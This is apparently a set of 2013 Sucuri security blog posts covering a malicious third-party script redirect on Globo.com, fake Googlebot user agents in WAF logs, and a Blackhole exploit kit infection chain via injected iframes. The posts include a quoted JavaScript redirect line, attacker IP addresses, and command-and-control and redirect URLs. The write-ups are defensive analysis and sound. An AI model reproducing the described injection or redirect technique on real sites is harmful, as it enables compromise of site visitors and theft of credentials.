Sucuri Blog

Globo.com redirecting users to Spam ads

David Dede — Sun, 19 May 2013 16:27:25 +0000

Globo.com, one of the largest Brazilian web portals (ranked #107 on Alexa and #6 for Brazilian traffic) appears to be compromised and all visits to it are being redirected to a sub page inside pagesinxt.com. If you go to g1.globo.com (or any other of their sub domains), you will end up on a page full of ads about Hosting, Internet and fake email products:

That redirection has been going for a few hours at least and we detected it for the first time around 8am EST and it is still live four hours later (noon EST).

What is going on?

We are investigating, but at the bottom of any page inside google.com there is a script being loaded from sawpf.com:

That javascript file is being very slow to load, but when it does, it runs the following code:

window.location = httx://pagesinxt.com/?dn=sawpf.com&fp=3WBUwymfgey…

Which forces the browser to redirect the to pagesinxt.com. At this point, we recommend all users to do not visit any globo.com page (or go there with Javascript disabled).

Who really owns your site?

This brings up a good topic that we brought up before. Who really owns your site? Every time you include a javascript (or widget or iframe), the security of your site becomes dependent on that third party server. It doesn’t looks like Globo in itself got compromised, but since they are including code from sawpf.com, they are only as secure as them.

Every time you add a remote JavaScript (or widget or iFrame) to your site, you are giving the server that houses that code full control of what is displayed to your users. If their servers get compromised, your site will be compromised as well.

Can you imagine if the author of the Easing Plugin was malicious? Instead of just that pop-up, they could have added a URL redirect to send all your users to any site they of their choosing (SPAM, porn, you name it). What if their server was hacked? The attackers could have added malware and it would have loaded to all your users.

*update 1: Lots of users on Twitter are complaining about it as well. Search for sawpf or pagesinxt to see the amount of people complaining or worried about it.

*update 2: If you click on some urls inside sawpf.com, you will be redirected to pagesinxt.com as well ( for example: httx://sawpf.com/libs/jquery/1.7.1.js )

Sucuri CloudProxy WAF – Fake Bots Explained

Daniel Cid — Tue, 14 May 2013 16:41:44 +0000

One of the most common questions we have been getting since launching our CloudProxy WAF is regarding bot activity and why it appears that we are blocking Google and / or Bing bots. Inside the CloudProxy dashboard we provide a full audit log of any request that gets denied access and when a client see’s something like the following in their logs they tend to get concerned:

13/May/2013:09:20:29 +0000] 80.72.37.156 “IP Address not authorized” “POST /wp-login.php HTTP/1.1″ 403 “” “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)”

In this specific instance they are concerned that we are blocking Bing because of this reference: bingbot/2.0; +http://www.bing.com/bingbot.htm. They are especially concerned when it says Googlebot, like this one:

13/May/2013:18:27:14 -0400] 198.50.161.234 “Spam comment blocked” “POST /blog/wp-comments-post.php HTTP/1.0″ 403 “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

Nobody wants to block Google out of their sites.

If you are not familiar with HTTP and logs, the first snippet is saying that the IP address 80.72.37.156 tried to login to wp-login.php and it identified itself as Bingbot. In the second log, it is saying that the IP address 198.50.161.234 tried to send a comment and it identified itself as Googlebot.

We do not block any major search engine bots!

One things most users do not know is that anyone can fake or modify the “User Agent” (browser id) of their request to look like it is coming from somewhere else.

So what do attackers do? They emulate a real browser, like Google Chrome or Firefox, and sometimes also try to identify themselves as bots like those provided by Google, Bing, Yandex and many others, to see if they can evade detection.

This is why we do not rely on the user agent alone to detect if real bot is crawling your site.

Identifying a real bot

This is what a real Google bot looks like in the logs:

66.249.73.141 – - [13/May/2013:04:58:13 -0400] “GET / HTTP/1.1″ 200 6095 “-” “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

First, their IP address always resolves back to Google’s domain. So if you try to do an IP lookup you’d see it points back to the Google domain:

$ host 66.249.73.141
141.73.249.66.in-addr.arpa domain name pointer crawl-66-249-73-141.googlebot.com.

And the same applies to Bing, Yandex and all other real search engines.

Second, another red flag, these bots will not be trying to send comments or logging in to your website. If you see any login attempt from any of them, you know it is someone just impersonating their requests. If you are not sure, try to see where the IP is coming from. If we use the first example from this post, we would see that the IP 80.72.37.156 actually comes from Polish IP address (likely a compromised server):

$ host 80.72.37.156
156.37.72.80.in-addr.arpa domain name pointer host-156.etop.dev.pl.

Fake Bots and Comment spam

Interestingly enough, from our data points, we are seeing a large percentage of comment spam leveraging this technique of faking their user agent. So far in May, 2013, we have blocked 33,988 spam comments using this technique:

2013/Jan: 41,660 spam comments blocked coming from fake Googlebot
2013/Feb: 71,747 spam comments blocked coming from fake Googlebot
2013/Mar: 106,197 spam comments blocked coming from fake Googlebot
2013/Apr: 68,708 spam comments blocked coming from fake Googlebot

Now you know

So next time you see a Bot visiting your site, you should be able to identify if it’s real or not. If you are not sure, just ask and we will be happy to help.

Auto Generated Iframes To Blackhole Exploit Kit – Following the Cookie Trail

Daniel Cid — Mon, 06 May 2013 16:53:00 +0000

We often talk about websites being compromised and injected with malware that redirect users to exploit kits. We unfortunately don’t give you a complete picture of what the distribution payload is doing on your local machine very often. Today we’ll try to improve that analysis by giving you a more complete picture of the full life cycle of a specific distribution payload.

In this example, we’ll be showing you how an attacker is injecting a site with a dynamic iFrame generator, which then attempts to install a malicious payload on your machine. More importantly, we’ll show you what that file is doing locally.

We were actually very lucky in this instance. Instead of a banking trojan, we were able to get our hands on a payload that is designed to steal not only your Browser information, but your FTP credentials as well. This can then be used to compromise any website you own, completing the life cycle of the injection:

compromised site -> compromised desktop -> stolen FTP passwords -> more compromised sites

1- Compromised sites with auto generated iframes

A WordPress site was hacked via brute forcing their wp-admin admin password. We were able to see in the logs that after multiple login attempts, the attackers succeeded and logged in as administrator and used the theme editor to insert the following code at the top of the header.php of the theme:

If you don’t know PHP, this code will contact the website http://82.200.204.151/config.inc.php and will act as a connection to the command and control server to get confirmation of what it should do. This is done in this part of the code:

Which we can easily replicate using Curl to see what it replies:

As I am writing this post, it returns “httx://andlettherebelight.com/news/faults-ending.php”. The same code will get that URL and inject the following iFrame at the bottom of the website, usually after the closing “” tag:

2- From server level code to browser injection

That iFrame from httx://andlettherebelight.com/news/faults-ending.php gets executed every time someone visits the compromised site. And once called, it returns code from the infamous Blackhole Exploit kit. It is a heavily obfuscated JavaScript that looks something like this: